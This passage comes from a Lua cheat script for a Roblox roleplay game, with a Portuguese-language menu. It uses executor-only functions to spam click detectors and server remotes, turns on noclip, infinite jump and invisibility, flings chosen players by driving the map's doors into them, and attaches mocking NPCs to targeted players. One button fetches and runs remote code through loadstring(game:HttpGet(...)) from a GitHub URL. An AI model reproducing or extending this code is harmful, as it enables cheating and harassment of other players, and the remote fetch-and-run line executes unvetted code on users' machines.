toolsCountLabel.Font = Enum.Font.GothamBold
toolsCountLabel.TextSize = 16
toolsCountLabel.TextColor3 = Color3.new(1, 1, 1)
toolsCountLabel.Text = "Tools: 0"
toolsCountLabel.ZIndex = 5
local function countTools()
local total = 0
for _, c in ipairs({player.Backpack, player.Character}) do
for _, tool in ipairs(c:GetChildren()) do
if tool:IsA("Tool") then total += 1 end
end
end
return total
end
local maxTools = selectedSize
local function countTools()
local total = 0
for _, c in ipairs({player.Backpack, player.Character}) do
for _, tool in ipairs(c:GetChildren()) do
if tool:IsA("Tool") then total += 1 end
end
end
return total
end
local function animateBar(callback)
for i = 1, 100 do
progress.Size = UDim2.new(i / 100, 0, 1, 0)
local currentTools = countTools()
toolsCountLabel.Text = "Tools: " .. currentTools .. "/" .. maxTools
task.wait(0.03)
end
callback()
end
animateBar(function()
local character = player.Character or player.CharacterAdded:Wait()
local hrp = character:WaitForChild("HumanoidRootPart")
local originalPosition = hrp.Position
local function teleportTo(pos)
hrp.CFrame = CFrame.new(pos)
end
player.Character:FindFirstChildOfClass("Humanoid").Sit = false
teleportTo(Vector3.new(430, -108, 100))
task.wait(0.5)
local clickDetector = workspace:WaitForChild("WorkspaceCom"):WaitForChild("001_DayCare").Tools:WaitForChild("FireX"):WaitForChild("ClickDetector")
repeat
fireclickdetector(clickDetector)
toolsCountLabel.Text = "Tools: " .. (countTools() + 1) .. "/" .. maxTools
task.wait()
until countTools() >= maxTools
task.wait(1)
local tools = {}
for _, c in ipairs({player.Backpack, player.Character}) do
for _, tool in ipairs(c:GetChildren()) do
if tool:IsA("Tool") then table.insert(tools, tool) end
end
end
if #tools < maxTools then
warn("Not enough tools, required: " .. maxTools .. ", Found: " .. #tools)
getgenv()._Running = false
return
end
for _, tool in ipairs(player.Character:GetChildren()) do
if tool:IsA("Tool") then tool.Parent = player.Backpack end
end
task.wait(0.2)
local gripMap = {}
local startPos = Vector3.new(0, -10, 0)
local pixelSize = Vector3.new(1.5, 1.5, 0)
local width = math.floor(math.sqrt(maxTools))
local height = math.ceil(maxTools / width)
local toolIndex = 1
for y = 1, height do
for x = 1, width do
local tool = tools[toolIndex]
if tool then
gripMap[tool] = CFrame.new(
startPos.X + (x - 1) * pixelSize.X,
startPos.Y + (y - 1) * pixelSize.Y,
startPos.Z
)
toolIndex += 1
end
end
end
player.Character:FindFirstChildOfClass("Humanoid").Sit = false
teleportTo(originalPosition)
task.wait(3)
for tool, grip in pairs(gripMap) do
tool.Grip = grip
end
task.wait(3)
for i = 1, maxTools do
if tools[i] then
tools[i].Parent = player.Character
end
end
screenGui:Destroy()
getgenv()._Running = false
end)
end
})
Tabs.JJ:AddSection({Translator:traduzir("Crie Um Tornado de tools")})
local selectedSize = 50
local Dropdown = Tabs.JJ:AddDropdown({
Name = "Tamanho do Tornado",
Description = "Escolha quantas ferramentas formarão o tornado",
Options = {"25", "50", "75", "100", "150", "200"},
Default = "Value",
Flag = "TornadoSize",
Callback = function(value)
selectedSize = tonumber(value)
end
})
Tabs.JJ:AddButton({
Name = "Criar Tornado",
Callback = function()
if getgenv()._Running then
warn("A process is already running")
return
end
getgenv()._Running = true
local Players = game:GetService("Players")
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local CoreGui = game:GetService("CoreGui")
local RunService = game:GetService("RunService")
local player = Players.LocalPlayer
ReplicatedStorage.RE:FindFirstChild("1Clea1rTool1s"):FireServer("ClearAllTools")
if CoreGui:FindFirstChild("LoadingUI") then return end
local screenGui = Instance.new("ScreenGui", CoreGui)
screenGui.Name = "LoadingUI"
screenGui.IgnoreGuiInset = true
screenGui.DisplayOrder = 999999
screenGui.ResetOnSpawn = false
screenGui.ZIndexBehavior = Enum.ZIndexBehavior.Sibling
local topLeftContainer = Instance.new("Frame")
topLeftContainer.Size = UDim2.new(0, 200, 0, 40)
topLeftContainer.Position = UDim2.new(0, 10, 0, 10)
topLeftContainer.BackgroundTransparency = 1
topLeftContainer.ZIndex = 5
topLeftContainer.Parent = screenGui
local icon = Instance.new("ImageLabel")
icon.Size = UDim2.new(0, 30, 0, 30)
icon.Position = UDim2.new(0, 0, 0.5, -15)
icon.BackgroundTransparency = 1
icon.Image = "rbxassetid://72495850369898"
icon.ZIndex = 5
icon.Parent = topLeftContainer
local hubText = Instance.new("TextLabel")
hubText.Size = UDim2.new(1, -35, 1, 0)
hubText.Position = UDim2.new(0, 35, 0, 0)
hubText.BackgroundTransparency = 1
hubText.Text = "drip Tornads"
hubText.Font = Enum.Font.GothamBold
hubText.TextSize = 20
hubText.TextColor3 = Color3.new(1, 1, 1)
hubText.TextXAlignment = Enum.TextXAlignment.Left
hubText.ZIndex = 5
hubText.Parent = topLeftContainer
local imageBackground = Instance.new("ImageLabel", screenGui)
imageBackground.Size = UDim2.new(1, 0, 1, 0)
imageBackground.Position = UDim2.new(0, 0, 0, 0)
imageBackground.BackgroundColor3 = Color3.fromRGB(15, 15, 15)
imageBackground.BorderSizePixel = 0
imageBackground.Image = "rbxassetid://79888503709168"
imageBackground.ImageTransparency = 0
imageBackground.ScaleType = Enum.ScaleType.Stretch
imageBackground.ZIndex = 0
local blocker = Instance.new("TextButton", screenGui)
blocker.Size = UDim2.new(1, 0, 1, 0)
blocker.Position = UDim2.new(0, 0, 0, 0)
blocker.BackgroundTransparency = 1
blocker.BorderSizePixel = 0
blocker.Text = ""
blocker.Modal = true
blocker.AutoButtonColor = false
blocker.ZIndex = 1
local container = Instance.new("Frame", screenGui)
container.Size = UDim2.new(0, 400, 0, 60)
container.Position = UDim2.new(0.5, -200, 0.5, -30)
container.BackgroundTransparency = 1
container.ZIndex = 5
local label = Instance.new("TextLabel", container)
label.Size = UDim2.new(1, 0, 0, 30)
label.Position = UDim2.new(0, 0, 0, 0)
label.Text = "Loading..."
label.Font = Enum.Font.GothamBold
label.TextSize = 20
label.TextColor3 = Color3.new(1, 1, 1)
label.BackgroundTransparency = 1
label.ZIndex = 5
local barBackground = Instance.new("Frame", container)
barBackground.Size = UDim2.new(1, 0, 0, 20)
barBackground.Position = UDim2.new(0, 0, 1, -20)
barBackground.BackgroundColor3 = Color3.fromRGB(50, 50, 50)
barBackground.BorderSizePixel = 0
barBackground.ClipsDescendants = true
barBackground.ZIndex = 5
Instance.new("UICorner", barBackground).CornerRadius = UDim.new(0, 10)
local progress = Instance.new("Frame", barBackground)
progress.Size = UDim2.new(0, 0, 1, 0)
progress.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
progress.BorderSizePixel = 0
progress.ZIndex = 5
Instance.new("UICorner", progress).CornerRadius = UDim.new(0, 10)
local gradient = Instance.new("UIGradient", progress)
gradient.Color = ColorSequence.new{
ColorSequenceKeypoint.new(0, Color3.fromRGB(198, 200, 197)),
ColorSequenceKeypoint.new(1, Color3.fromRGB(255, 255, 255))
}
local toolsCountLabel = Instance.new("TextLabel", container)
toolsCountLabel.Size = UDim2.new(1, 0, 0, 20)
toolsCountLabel.Position = UDim2.new(0, 0, 1, 5)
toolsCountLabel.BackgroundTransparency = 1
toolsCountLabel.Font = Enum.Font.GothamBold
toolsCountLabel.TextSize = 16
toolsCountLabel.TextColor3 = Color3.new(1, 1, 1)
toolsCountLabel.Text = "Tools: 0"
toolsCountLabel.ZIndex = 5
local function countTools()
local total = 0
for _, c in ipairs({player.Backpack, player.Character}) do
for _, tool in ipairs(c:GetChildren()) do
if tool:IsA("Tool") then total += 1 end
end
end
return total
end
local maxTools = selectedSize
local function countTools()
local total = 0
for _, c in ipairs({player.Backpack, player.Character}) do
for _, tool in ipairs(c:GetChildren()) do
if tool:IsA("Tool") then total += 1 end
end
end
return total
end
local function animateBar(callback)
for i = 1, 100 do
progress.Size = UDim2.new(i / 100, 0, 1, 0)
local currentTools = countTools()
toolsCountLabel.Text = "Tools: " .. currentTools .. "/" .. maxTools
task.wait(0.03)
end
callback()
end
animateBar(function()
local character = player.Character or player.CharacterAdded:Wait()
local hrp = character:WaitForChild("HumanoidRootPart")
local originalPosition = hrp.Position
local function teleportTo(pos)
hrp.CFrame = CFrame.new(pos)
end
player.Character:FindFirstChildOfClass("Humanoid").Sit = false
teleportTo(Vector3.new(430, -108, 100))
task.wait(0.5)
local clickDetector = workspace:WaitForChild("WorkspaceCom"):WaitForChild("001_DayCare").Tools:WaitForChild("FireX"):WaitForChild("ClickDetector")
repeat
fireclickdetector(clickDetector)
toolsCountLabel.Text = "Tools: " .. (countTools() + 1) .. "/" .. maxTools
task.wait()
until countTools() >= maxTools
task.wait(1)
local tools = {}
for _, c in ipairs({player.Backpack, player.Character}) do
for _, tool in ipairs(c:GetChildren()) do
if tool:IsA("Tool") then table.insert(tools, tool) end
end
end
if #tools < maxTools then
warn("Not enough tools, required: " .. maxTools .. ", Found: " .. #tools)
getgenv()._Running = false
return
end
for _, tool in ipairs(player.Character:GetChildren()) do
if tool:IsA("Tool") then tool.Parent = player.Backpack end
end
task.wait(0.2)
local radius = 8
local centerPos = Vector3.new(0, -5, 0)
local angleStep = (2 * math.pi) / maxTools
local gripMap = {}
for i, tool in ipairs(tools) do
if i <= maxTools then
local angle = (i - 1) * angleStep
local x = centerPos.X + radius * math.cos(angle)
local z = centerPos.Z + radius * math.sin(angle)
gripMap[tool] = CFrame.new(x, centerPos.Y, z) * CFrame.Angles(0, angle + math.pi/2, 0)
end
end
player.Character:FindFirstChildOfClass("Humanoid").Sit = false
teleportTo(originalPosition)
task.wait(3)
for tool, grip in pairs(gripMap) do
tool.Grip = grip
end
task.wait(3)
for i = 1, maxTools do
if tools[i] then
tools[i].Parent = player.Character
end
end
screenGui:Destroy()
local rotationAngle = 0
local spinSpeed = 20
local characterSpinSpeed = 40
local rotationConnection
local characterRotation = 0
rotationConnection = RunService.Heartbeat:Connect(function(deltaTime)
rotationAngle = rotationAngle + (spinSpeed * deltaTime)
characterRotation = characterRotation + (characterSpinSpeed * deltaTime)
if hrp.Parent then
hrp.CFrame = hrp.CFrame * CFrame.Angles(0, math.rad(characterSpinSpeed * deltaTime), 0)
end
for i, tool in ipairs(tools) do
if i <= maxTools and tool.Parent == player.Character then
local baseAngle = (i - 1) * angleStep
local currentAngle = baseAngle + rotationAngle
local x = centerPos.X + radius * math.cos(currentAngle)
local z = centerPos.Z + radius * math.sin(currentAngle)
tool.Grip = CFrame.new(x, centerPos.Y, z) * CFrame.Angles(0, currentAngle + math.pi/2, 0)
end
end
end)
local fireRemoteConnection
fireRemoteConnection = RunService.Heartbeat:Connect(function()
if player.Character and player.Character:FindFirstChild("FireX") then
local args = {
"FireX",
"On"
}
player.Character:WaitForChild("FireX"):WaitForChild("ToolSound"):FireServer(unpack(args))
end
end)
player.CharacterRemoving:Connect(function()
if rotationConnection then
rotationConnection:Disconnect()
end
if fireRemoteConnection then
fireRemoteConnection:Disconnect()
end
end)
getgenv()._Running = false
getgenv()._CircleRotation = rotationConnection
getgenv()._FireRemote = fireRemoteConnection
end)
end
})
Tabs.JJ:AddButton({
Name = "Stop Function",
Callback = function()
if getgenv()._CircleRotation then
getgenv()._CircleRotation:Disconnect()
getgenv()._CircleRotation = nil
end
if getgenv()._FireRemote then
getgenv()._FireRemote:Disconnect()
getgenv()._FireRemote = nil
end
getgenv()._Running = false
warn("Tornado interrompido com sucesso.")
end
})
Tabs.JJ:AddSection({Translator:traduzir("Notificações Mapa")})
local NotificationSystem = {
joinLeaveEnabled = false,
deathEnabled = false
}
local function showNotification(title, message, duration)
StarterGui:SetCore("SendNotification", {
Title = title,
Text = message,
Duration = duration or 5
})
end
local function monitorPlayerDeath(player)
player.CharacterAdded:Connect(function(character)
local humanoid = character:WaitForChild("Humanoid", 5)
if humanoid then
humanoid.Died:Connect(function()
if NotificationSystem.deathEnabled then
showNotification("Jogador Morreu", player.Name .. " morreu", 3)
end
end)
end
end)
if player.Character then
local humanoid = player.Character:FindFirstChild("Humanoid")
if humanoid then
humanoid.Died:Connect(function()
if NotificationSystem.deathEnabled then
showNotification("Jogador Morreu", player.Name .. " morreu", 3)
end
end)
end
end
end
Tabs.JJ:AddToggle({
Name = Translator:traduzir("Notificação: Entrada/Saída"),
Description = Translator:traduzir("Notifica quando jogadores entram ou saem"),
Default = false,
Callback = function(value)
NotificationSystem.joinLeaveEnabled = value
end
})
Tabs.JJ:AddToggle({
Name = Translator:traduzir("Notificação De Morte"),
Description = Translator:traduzir("Mostra quando um jogador morre"),
Default = false,
Callback = function(value)
NotificationSystem.deathEnabled = value
end
})
Players.PlayerAdded:Connect(function(player)
if NotificationSystem.joinLeaveEnabled then
showNotification("Jogador Entrou", player.Name .. " entrou no jogo", 5)
end
monitorPlayerDeath(player)
end)
Players.PlayerRemoving:Connect(function(player)
if NotificationSystem.joinLeaveEnabled then
showNotification("Jogador Saiu", player.Name .. " saiu do jogo", 5)
end
end)
for _, player in ipairs(Players:GetPlayers()) do
monitorPlayerDeath(player)
end
local workspacePlayers = workspace:FindFirstChild("Players")
if workspacePlayers then
workspacePlayers.ChildAdded:Connect(function(child)
if NotificationSystem.joinLeaveEnabled then
showNotification("Entrou na Workspace", child.Name .. " entrou na Workspace.Players", 5)
end
end)
workspacePlayers.ChildRemoved:Connect(function(child)
if NotificationSystem.joinLeaveEnabled then
showNotification("Saiu da Workspace", child.Name .. " saiu da Workspace.Players", 5)
end
end)
end
Tabs.JJ:AddSection({Translator:traduzir("Jogador Euzinho")})
local PlayerAbilities = {
noClip = false,
infiniteJump = false,
invisible = false
}
local function updateNoClip()
if PlayerAbilities.noClip and LocalPlayer.Character then
for _, part in pairs(LocalPlayer.Character:GetDescendants()) do
if part:IsA("BasePart") then
part.CanCollide = false
end
end
end
end
local function onJumpRequest()
if PlayerAbilities.infiniteJump and LocalPlayer.Character then
local humanoid = LocalPlayer.Character:FindFirstChildOfClass("Humanoid")
if humanoid then
humanoid:ChangeState("Jumping")
end
end
end
Tabs.JJ:AddToggle({
Name = Translator:traduzir("Atravessar Paredes"),
Description = Translator:traduzir("Permite atravessar paredes e objetos"),
Default = false,
Callback = function(value)
PlayerAbilities.noClip = value
end
})
Tabs.JJ:AddToggle({
Name = Translator:traduzir("Pulos Infinitos"),
Description = Translator:traduzir("Permite pular infinitamente no ar"),
Default = false,
Callback = function(value)
PlayerAbilities.infiniteJump = value
end
})
Tabs.JJ:AddToggle({
Name = Translator:traduzir("Invisibilidade"),
Description = Translator:traduzir("Torna o personagem invisível não volta ao normal"),
Default = false,
Callback = function(value)
if value then
local args = {
[1] = {
[1] = 102344834840946,
[2] = 70400527171038,
[3] = 0, [4] = 0, [5] = 0, [6] = 0
}
}
local remotes = ReplicatedStorage:WaitForChild("Remotes")
remotes:WaitForChild("ChangeCharacterBody"):InvokeServer(unpack(args))
remotes:WaitForChild("Wear"):InvokeServer(111858803548721)
if LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("Humanoid") then
local description = LocalPlayer.Character.Humanoid.HumanoidDescription
local accessories = {}
for _, assetString in ipairs({
description.BackAccessory, description.FaceAccessory,
description.FrontAccessory, description.NeckAccessory,
description.HatAccessory, description.HairAccessory,
description.ShouldersAccessory, description.WaistAccessory,
description.GraphicTShirt
}) do
for assetId in string.gmatch(assetString, "%d+") do
table.insert(accessories, tonumber(assetId))
end
end
for _, accessoryId in ipairs(accessories) do
task.spawn(function()
remotes:WaitForChild("Wear"):InvokeServer(accessoryId)
end)
end
end
end
end
})
Tabs.JJ:AddSection({Translator:traduzir("Voo & Equipe All")})
Tabs.JJ:AddButton({
Translator:traduzir("Fly Drip Chip"),
function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/realgengar/scripts/refs/heads/main/Fly.Lua", true))()
end
})
local Button = Tabs.JJ:AddButton({Translator:traduzir("Equipa Todos Items"), function()
local player = game.Players.LocalPlayer
local backpack = player:WaitForChild("Backpack")
for _, item in ipairs(backpack:GetChildren()) do
item.Parent = player.Character
end
end})
RunService.Stepped:Connect(updateNoClip)
UserInputService.JumpRequest:Connect(onJumpRequest)
-- ================== SEÇÃO: SISTEMA DE TELEPORTE ==================
Tabs.JJ:AddSection({Translator:traduzir("Teleporte")})
local TeleportSystem = {
selectedPlayer = nil,
teleportEnabled = false,
cameraConnection = nil
}
local function getPlayersList()
local playerList = {}
for _, player in pairs(Players:GetPlayers()) do
if player ~= LocalPlayer then
table.insert(playerList, player.Name)
end
end
return playerList
end
local function teleportToPlayer()
if TeleportSystem.selectedPlayer and TeleportSystem.teleportEnabled then
local targetPlayer = Players:FindFirstChild(TeleportSystem.selectedPlayer)
if targetPlayer and targetPlayer.Character and LocalPlayer.Character then
local targetHRP = targetPlayer.Character:FindFirstChild("HumanoidRootPart")
local localHRP = LocalPlayer.Character:FindFirstChild("HumanoidRootPart")
if targetHRP and localHRP then
localHRP.CFrame = targetHRP.CFrame
end
end
end
end
local function teleportCarToPlayer()
if not TeleportSystem.selectedPlayer then return end
local targetPlayer = Players:FindFirstChild(TeleportSystem.selectedPlayer)
if not targetPlayer or not targetPlayer.Character then return end
local targetHRP = targetPlayer.Character:FindFirstChild("HumanoidRootPart")
if not targetHRP then return end
local vehicles = workspace:FindFirstChild("Vehicles")
if vehicles then
for _, vehicle in ipairs(vehicles:GetChildren()) do
local owner = vehicle:FindFirstChild("Owner")
if owner and owner.Value == LocalPlayer.Name then
vehicle:SetPrimaryPartCFrame(targetHRP.CFrame)
break
end
end
end
end
local function updateCameraView(enabled)
if enabled and TeleportSystem.selectedPlayer then
local targetPlayer = Players:FindFirstChild(TeleportSystem.selectedPlayer)
if targetPlayer and targetPlayer.Character then
local humanoid = targetPlayer.Character:FindFirstChild("Humanoid")
if humanoid then
workspace.CurrentCamera.CameraSubject = humanoid
end
end
else
if LocalPlayer.Character then
local humanoid = LocalPlayer.Character:FindFirstChild("Humanoid")
if humanoid then
workspace.CurrentCamera.CameraSubject = humanoid
end
end
end
end
local playerDropdown = Tabs.JJ:AddDropdown({
Name = Translator:traduzir("Escolher Um Jogador"),
Description = Translator:traduzir("Selecione um jogador para usar as funções"),
Options = getPlayersList(),
Default = "Players",
Callback = function(value)
TeleportSystem.selectedPlayer = value
if TeleportSystem.teleportEnabled then
teleportToPlayer()
end
end
})
Tabs.JJ:AddButton({
Translator:traduzir("Atualizar Lista"),
function()
playerDropdown:Set(getPlayersList())
end
})
Tabs.JJ:AddButton({
Translator:traduzir("Teleportar Com Carro"),
function()
teleportCarToPlayer()
end
})
Tabs.JJ:AddToggle({
Name = Translator:traduzir("Teleporte Automático"),
Description = Translator:traduzir("Teleporta instantaneamente para o jogador"),
Default = false,
Callback = function(value)
TeleportSystem.teleportEnabled = value
if value then
teleportToPlayer()
end
end
})
Tabs.JJ:AddToggle({
Name = Translator:traduzir("Visualizar Jogador"),
Description = Translator:traduzir("Acompanha o jogador com a câmera"),
Default = false,
Callback = function(value)
if value then
if not TeleportSystem.cameraConnection then
TeleportSystem.cameraConnection = RunService.Heartbeat:Connect(function()
updateCameraView(true)
end)
end
else
if TeleportSystem.cameraConnection then
TeleportSystem.cameraConnection:Disconnect()
TeleportSystem.cameraConnection = nil
end
updateCameraView(false)
end
end
})
end
-----------------///////TABS - TT///////-----------------
do
local Players = game:GetService("Players")
local Workspace = game:GetService("Workspace")
local RunService = game:GetService("RunService")
local UserInputService = game:GetService("UserInputService")
local LocalPlayer = Players.LocalPlayer
local Character = LocalPlayer.Character or LocalPlayer.CharacterAdded:Wait()
local HRP = Character:WaitForChild("HumanoidRootPart")
-- Criar o BlackHole
local BlackHole = Instance.new("Part")
BlackHole.Size = Vector3.new(100000, 100000, 100000)
BlackHole.Transparency = 1
BlackHole.Anchored = true
BlackHole.CanCollide = false
BlackHole.Name = "BlackHoleTarget"
BlackHole.Parent = Workspace
local baseAttachment = Instance.new("Attachment")
baseAttachment.Name = "BlackRole_BlackHoleAttachment"
baseAttachment.Parent = BlackHole
RunService.Heartbeat:Connect(function()
BlackHole.CFrame = HRP.CFrame
end)
-- Setup das portas
local ControlledDoors = {}
local function SetupPart(part)
if not part:IsA("BasePart") or part.Anchored or not string.find(part.Name:lower(), "door") then return end
if part:FindFirstChild("BlackRole_Attached") then return end
part.CanCollide = false
part.Transparency = 1
for _, obj in ipairs(part:GetChildren()) do
if obj:IsA("AlignPosition") or obj:IsA("Torque") or obj:IsA("Attachment") then
obj:Destroy()
end
end
local marker = Instance.new("BoolValue")
marker.Name = "BlackRole_Attached"
marker.Parent = part
local attachment = Instance.new("Attachment")
attachment.Parent = part
local align = Instance.new("AlignPosition")
align.Parent = part
align.Attachment0 = attachment
align.Attachment1 = baseAttachment
align.MaxForce = math.huge
align.MaxVelocity = math.huge
align.Responsiveness = 200
local torque = Instance.new("Torque")
torque.Parent = part
torque.Attachment0 = attachment
torque.RelativeTo = Enum.ActuatorRelativeTo.World
torque.Torque = Vector3.new(
math.random(-1000000, 1000000),
math.random(-1000000, 1000000),
math.random(-1000000, 1000000)
)
table.insert(ControlledDoors, {Part = part, Align = align, Attachment = attachment})
end
for _, obj in ipairs(Workspace:GetDescendants()) do
if obj:IsA("BasePart") and string.find(obj.Name:lower(), "door") then
SetupPart(obj)
end
end
Workspace.DescendantAdded:Connect(function(obj)
if obj:IsA("BasePart") and string.find(obj.Name:lower(), "door") then
task.wait(0.1)
SetupPart(obj)
end
end)
local function FlingPlayer(player)
local char = player.Character
if not char then return end
local targetHRP = char:FindFirstChild("HumanoidRootPart")
if not targetHRP then return end
local targetAttachment = targetHRP:FindFirstChild("SHNMAX_TargetAttachment")
if not targetAttachment then
targetAttachment = Instance.new("Attachment", targetHRP)
targetAttachment.Name = "SHNMAX_TargetAttachment"
end
for _, data in ipairs(ControlledDoors) do
if data.Align then
data.Align.Attachment1 = targetAttachment
end
end
local start = tick()
while tick() - start < 5 do
if targetHRP.Velocity.Magnitude >= 20 then
break
end
RunService.Heartbeat:Wait()
end
for _, data in ipairs(ControlledDoors) do
if data.Align then
data.Align.Attachment1 = baseAttachment
end
end
end
local selectedPlayer = nil
local flingEnabled = false
local Annoy = Tabs.TT:AddDropdown({
Name = Translator:traduzir("Selecionar Jogador"),
Description = Translator:traduzir("Escolha um jogador para aplicar o efeito"),
Options = novaTabela,
Default = "Players",
Flag = "PlayerDropdown",
Callback = function(value)
selectedPlayer = Players:FindFirstChild(value)
if selectedPlayer and flingEnabled then
FlingPlayer(selectedPlayer)
end
end
})
Tabs.TT:AddToggle({
Name = Translator:traduzir("Visualizar Jogador"),
Description = Translator:traduzir("Acompanha o jogador com a câmera"),
Default = false,
Callback = function(value)
local function UpdateCamera()
local targetPlayer = value and Players:FindFirstChild(selectedPlayer)
local subject = LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("Humanoid")
if targetPlayer and targetPlayer.Character then
subject = targetPlayer.Character:FindFirstChild("Humanoid")
end
if subject then Camera.CameraSubject = subject end
end
if value then
if not getgenv().CameraConnection then
getgenv().CameraConnection = RunService.Heartbeat:Connect(UpdateCamera)
end
else
if getgenv().CameraConnection then
getgenv().CameraConnection:Disconnect()
getgenv().CameraConnection = nil
end
UpdateCamera()
end
end
})
Tabs.TT:AddButton({
Name = Translator:traduzir("Atualizar Lista"),
Callback = function()
local lista = {}
for _, v in ipairs(Players:GetPlayers()) do
if v ~= LocalPlayer then
table.insert(lista, v.Name)
end
end
Annoy:Set(lista)
end
})
local Toggle = Tabs.TT:AddToggle({
Name = "Annoy",
Description = Translator:traduzir("fling jogador em 5 segundos"),
Default = false
})
local function ResetDoors()
for _, data in ipairs(ControlledDoors) do
if data.Align then
data.Align.Attachment1 = baseAttachment
end
end
end
Toggle:Callback(function(Value)
flingEnabled = Value
if selectedPlayer and flingEnabled then
FlingPlayer(selectedPlayer)
elseif not flingEnabled then
ResetDoors()
end
end)
local selectedPlayerName = nil
local chasingplayer = nil
local parteSelecionada = "HumanoidRootPart"
local fireLoopActive = false
local fireLoopActiveServer = false
local ignoreTarget = nil
local methodKill = nil
getgenv().Target = nil
getgenv().CameraConnection = nil
getgenv().RunService = nil
getgenv().flingloop = false
local nomesRP = {
"oi kkkk", "Sou Seu filho", "Armaria", "Tenho Dono: Lucas", "Estoy loco",
"XALALALAL", "ANALFABETO", "Criança", "Web namoro", "Veia", "DRIP CLIENT",
"KITA!!!!", "MÃEEEE", "PAIII", "BANCOPAN", "Calada", "Tenho Dona: Lolyta", "Uso Hack"
}
local parteMapeada = {
[Translator:traduzir("Cabeça")] = "Head",
[Translator:traduzir("Peito Superior")] = "UpperTorso",
[Translator:traduzir("Barriga Inferior")] = "LowerTorso",
[Translator:traduzir("Frente do Corpo")] = "HumanoidRootPart",
[Translator:traduzir("Frente")] = "HumanoidRootPart",
[Translator:traduzir("Traseiro")] = "HumanoidRootPart"
}
Tabs.TT:AddSection({Name = Translator:traduzir("Pirralhos Trolagem <filho>")})
local playerDropdown = Tabs.TT:AddDropdown({
Name = Translator:traduzir("Escolher Jogador"),
Description = Translator:traduzir("Selecione quem o pirralho irá seguir"),
Options = {},
Default = "Boneco",
Callback = function(selected)
chasingplayer = game.Players:FindFirstChild(selected) and selected or nil
end
})
Tabs.TT:AddDropdown({
Name = Translator:traduzir("Selecionar Nome RP"),
Description = Translator:traduzir("Escolha Uma Tag para o pirralho"),
Options = nomesRP,
Default = "Nome",
Callback = function(nomeEscolhido)
local evento = ReplicatedStorage:FindFirstChild("RE") and ReplicatedStorage.RE:FindFirstChild("1RPNam1eTex1t")
if evento then
evento:FireServer("RolePlayFollow", nomeEscolhido)
end
end
})
Tabs.TT:AddDropdown({
Name = Translator:traduzir("Parte do Corpo"),
Description = "Onde o pirralho ficará preso no corpo",
Options = {Translator:traduzir("Cabeça"), Translator:traduzir("Peito Superior"), Translator:traduzir("Barriga Inferior"), Translator:traduzir("Frente do Corpo"), Translator:traduzir("Frente"), Translator:traduzir("Traseiro")},
Default = Translator:traduzir("Partes"),
Callback = function(opcao)
parteSelecionada = parteMapeada[opcao] or "HumanoidRootPart"
end
})
Tabs.TT:AddToggle({
Name = Translator:traduzir("Visualizar Jogador"),
Default = false,
Callback = function(value)
local function UpdateCamera()
local targetPlayer = value and Players:FindFirstChild(chasingplayer)
local subject = LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("Humanoid")
if targetPlayer and targetPlayer.Character then
subject = targetPlayer.Character:FindFirstChild("Humanoid")
end
if subject then Camera.CameraSubject = subject end
end
if value then
if not getgenv().CameraConnection then
getgenv().CameraConnection = RunService.Heartbeat:Connect(UpdateCamera)
end
else
if getgenv().CameraConnection then
getgenv().CameraConnection:Disconnect()
getgenv().CameraConnection = nil
end
UpdateCamera()
end
end
})
Tabs.TT:AddButton({
Name = Translator:traduzir("Atualizar Jogadores"),
Callback = function()
local lista = {}
for _, v in ipairs(Players:GetPlayers()) do
if v ~= LocalPlayer then
table.insert(lista, v.Name)
end
end
playerDropdown:Set(lista)
end
})
Tabs.TT:AddButton({
Name = Translator:traduzir("Enviar Pirralho"),
Callback = function()
if not chasingplayer then
warn("Nenhum jogador selecionado!")
return
end
local targetChar = workspace:FindFirstChild(chasingplayer)
if not targetChar then
warn("Jogador alvo não encontrado no workspace.")
return
end
local pl = LocalPlayer
if not workspace:FindFirstChild(pl.Name) or not workspace[pl.Name]:FindFirstChild("FollowCharacter") then
ReplicatedStorage.RE:FindFirstChild("1Bab1yFollo1w"):FireServer("CharacterFollowSpawnPlayer", "BabyBoy")
task.wait(0.3)
end
local pirralho = workspace[pl.Name] and workspace[pl.Name]:FindFirstChild("FollowCharacter")
local parteAlvo = targetChar:FindFirstChild(parteSelecionada)
if pirralho and parteAlvo then
pirralho.Parent = targetChar
if getgenv().RunService then getgenv().RunService:Disconnect() end
getgenv().RunService = RunService.Heartbeat:Connect(function()
if pirralho and pirralho:FindFirstChild("Torso") then
pirralho.Torso.BodyPosition.Position = parteAlvo.Position
pirralho.Torso.BodyGyro.CFrame = parteAlvo.CFrame
end
end)
else
warn("A parte '" .. parteSelecionada .. "' não existe no jogador alvo.")
end
end
})
Tabs.TT:AddSection({Translator:traduzir("Criar Estruturas")})
local Players = game:GetService("Players")
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local player = Players.LocalPlayer
local estruturaSelecionada = "Factory"
local function teleportarEConstruir()
if not player.Character or not player.Character:FindFirstChild("HumanoidRootPart") then
warn("work nn.")
player.CharacterAdded:Wait()
end
local character = player.Character
local root = character:WaitForChild("HumanoidRootPart")
local targetPosition = Vector3.new(-37, 19, -145)
root.CFrame = CFrame.new(targetPosition)
wait(0.5)
local success1 = pcall(function()
local args1 = {6}
ReplicatedStorage:WaitForChild("Remotes"):WaitForChild("Lot:Claim"):InvokeServer(unpack(args1))
end)
if success1 then
wait(0.3)
local success2 = pcall(function()
local args2 = {6, "001_Landmark"}
ReplicatedStorage:WaitForChild("Remotes"):WaitForChild("Lot:BuildProperty"):FireServer(unpack(args2))
end)
if success2 then
print("geracion")
else
warn("sem prope")
end
else
warn("erro lote")
end
end
local Button = Tabs.TT:AddButton({
Name = Translator:traduzir("Teleportar e Criar Factory"),
Description = Translator:traduzir("Crie a usina Nuclear na praça"),
Callback = function()
teleportarEConstruir()
end
})
end
do
Tabs.TT:AddSection({Name = Translator:traduzir("Bug Players - Com Efeitos")})
if not fireLoopActiveServer then
fireLoopActiveServer = false
end
if not ignoreTarget then
ignoreTarget = nil
end
if not createBugArgs then
warn("usada")
function createBugArgs(character)
return {}
end
end
function executarSequenciaCombate()
local character = LocalPlayer.Character
if not character or not character:FindFirstChild("HumanoidRootPart") then
warn("achado nn")
return
end
local humanoidRootPart = character.HumanoidRootPart
local posicaoOriginal = humanoidRootPart.Position
fireLoopActiveServer = true
task.spawn(function()
local toolArgs = { [1] = "PickingTools", [2] = "Assault" }
ReplicatedStorage.RE:FindFirstChild("1Too1l"):InvokeServer(unpack(toolArgs))
task.spawn(function()
